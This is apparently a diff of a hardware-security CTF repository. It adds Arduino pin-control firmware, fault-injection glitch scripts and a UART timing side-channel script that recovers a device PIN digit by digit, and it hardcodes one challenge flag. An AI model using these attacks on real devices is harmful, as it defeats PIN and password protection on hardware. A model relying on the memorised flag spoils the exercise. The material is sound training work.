+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/docs/12_logic.png b/docs/12_logic.png
new file mode 100644
index 0000000..fe8662a
--- /dev/null
+++ b/docs/12_logic.png
Binary files differ
diff --git a/docs/12_setup.png b/docs/12_setup.png
new file mode 100644
index 0000000..5293caf
--- /dev/null
+++ b/docs/12_setup.png
Binary files differ
diff --git a/docs/12_solution.py b/docs/12_solution.py
new file mode 100644
index 0000000..c5188aa
--- /dev/null
+++ b/docs/12_solution.py
@@ -0,0 +1,274 @@
+#!/usr/bin/env python3
+"""
+=====================================================================
+UART Timing Analysis PIN Discovery Script (configurable start)
+=====================================================================
+Performs timing-based side-channel analysis to discover an 8-digit PIN
+via UART, using the Arduino I/O controller for synchronised monitoring.
+
+This variant allows pre-setting a starting code (prefix) and the
+starting position index so that discovery may resume part-way through.
+Version: 1.3
+=====================================================================
+"""
+
+import time
+import serial
+from arduinIO import ArduinoController
+
+# ================================================================
+# Configuration
+# ================================================================
+
+###### UART Configuration ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1199
+UART_NEWLINE = "\n"
+
+###### Arduino I/O Configuration ######
+ARDIO_PORT = "/dev/ttyACM0"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+
+###### Analysis Parameters ######
+PIN_LENGTH = 8
+KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+PAD_CHAR = 'A'
+ATTEMPTS_PER_CANDIDATE = 1
+
+# Optionally set a starting prefix and a starting position.
+# START_CODE is the known prefix (string). It may be empty.
+# START_POS is the zero-based index at which to begin discovery.
+# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
+START_CODE = "" # e.g. "253"
+START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
+
+###### Delay Configuration (seconds) ######
+INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
+SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
+POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
+MAX_WAIT_MS = 800 # Maximum wait for input response
+MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
+
+# ================================================================
+# Helper Functions
+# ================================================================
+
+def log(msg: str, level: str = "INFO"):
+ """Structured log output with level labels."""
+ prefix = {
+ "INFO": "\033[94m[INFO]\033[0m",
+ "TEST": "\033[93m[TEST]\033[0m",
+ "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
+ "RESULT": "\033[92m[RESULT]\033[0m",
+ "ERROR": "\033[91m[ERROR]\033[0m",
+ "SUCCESS": "\033[96m[SUCCESS]\033[0m"
+ }.get(level, "[LOG]")
+ print(f"{prefix} {msg}")
+
+
+def send_uart_message(ser, message: str):
+ """Send full message to UART target."""
+ if not message.endswith(UART_NEWLINE):
+ message += UART_NEWLINE
+ ser.write(message.encode("utf-8"))
+ ser.flush()
+
+
+def validate_start_settings():
+ """Validate START_CODE and START_POS consistency and bounds."""
+ if not isinstance(START_CODE, str):
+ raise ValueError("START_CODE must be a string.")
+ if not isinstance(START_POS, int):
+ raise ValueError("START_POS must be an integer.")
+ if len(START_CODE) != START_POS:
+ raise ValueError("Length of START_CODE must equal START_POS.")
+ if START_POS < 0 or START_POS > PIN_LENGTH:
+ raise ValueError("START_POS out of valid range.")
+ if len(START_CODE) > PIN_LENGTH:
+ raise ValueError("START_CODE longer than PIN_LENGTH.")
+
+
+# ================================================================
+# PIN Discovery Logic
+# ================================================================
+
+def find_code(ser, arduino):
+ """
+ Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
+
+ Important: no UART reading occurs during the timed interval. UART is only
+ drained before sending (to remove stale lines) and immediately after the
+ timing measurement completes. This avoids introducing extra delay into
+ the critical timing path.
+ """
+
+ validate_start_settings()
+ log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
+
+ discovered = START_CODE
+ start_pos = START_POS
+
+ remaining_positions = PIN_LENGTH - start_pos
+ if remaining_positions <= 0:
+ log(f"No positions to discover. Current code: {discovered}", "INFO")
+ return discovered
+
+ total_candidates = len(KEYSPACE)
+ total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
+ eta_start = time.time()
+ attempts_done = 0
+
+ for pos in range(start_pos, PIN_LENGTH):
+ human_pos = pos + 1
+ log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
+ timings = {}
+
+ # Upper bound grows with each identified position (relative index)
+ relative_index = pos - start_pos
+ upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
+
+ for idx, candidate in enumerate(KEYSPACE):
+ candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
+ durations = []
+
+ for attempt in range(ATTEMPTS_PER_CANDIDATE):
+ # Best-effort non-blocking drain of stale UART lines BEFORE sending
+ try:
+ while ser.in_waiting:
+ _ = ser.readline() # discard
+ except Exception:
+ pass
+
+ # Clear any previous short event records on Arduino
+ try:
+ arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
+ except Exception:
+ pass
+
+ # Start timing immediately before send (critical interval begins)
+ t_start = time.time()
+ send_uart_message(ser, candidate_pin + UART_NEWLINE)
+
+ # short settle after send (does not affect measurement start)
+ time.sleep(SEND_SETTLE_DELAY)
+
+ # Perform event-based capture (no UART reads here)
+ dur_ms = 0
+ try:
+ events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
+ except Exception:
+ events = []
+
+ if events:
+ low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
+ if low_event:
+ dur_ms = low_event.get("duration_ms", 0)
+
+ # Fallback blocking wait_if_no_event (still no UART reads)
+ if dur_ms == 0:
+ try:
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
+ t_end = time.time()
+ if isinstance(result, dict):
+ dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
+ else:
+ dur_ms = int((t_end - t_start) * 1000)
+ except Exception:
+ dur_ms = 0
+
+ # Immediately after measurement, drain UART non-blocking and check for success
+ try:
+ while ser.in_waiting:
+ line = ser.readline().decode(errors='ignore').strip()
+ if line and line.startswith("TS{"):
+ # Found success; append this candidate and return the discovered code
+ discovered += candidate
+ log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
+ return discovered
+ except Exception:
+ # ignore serial read errors and continue
+ pass
+
+ # Only include durations that lie within the allowed window
+ if 600 <= dur_ms <= upper_bound:
+ durations.append(dur_ms)
+
+ # Update ETA (safe to compute outside critical interval)
+ attempts_done += 1
+ elapsed = time.time() - eta_start
+ avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
+ remaining_attempts = total_attempts - attempts_done
+ eta_remaining = remaining_attempts * avg_time_per_attempt
+ eta_min, eta_sec = divmod(int(eta_remaining), 60)
+
+ # Overwrite attempt line
+ print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
+
+ time.sleep(INTER_ATTEMPT_DELAY)
+
+ # newline after candidate block
+ #print()
+
+ # Compute average using only valid durations
+ avg_duration = (sum(durations) / len(durations)) if durations else 0.0
+ timings[candidate] = avg_duration
+ print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
+ print()
+
+ # Select best candidate (largest average); fallback to '0' if none valid
+ if any(v > 0 for v in timings.values()):
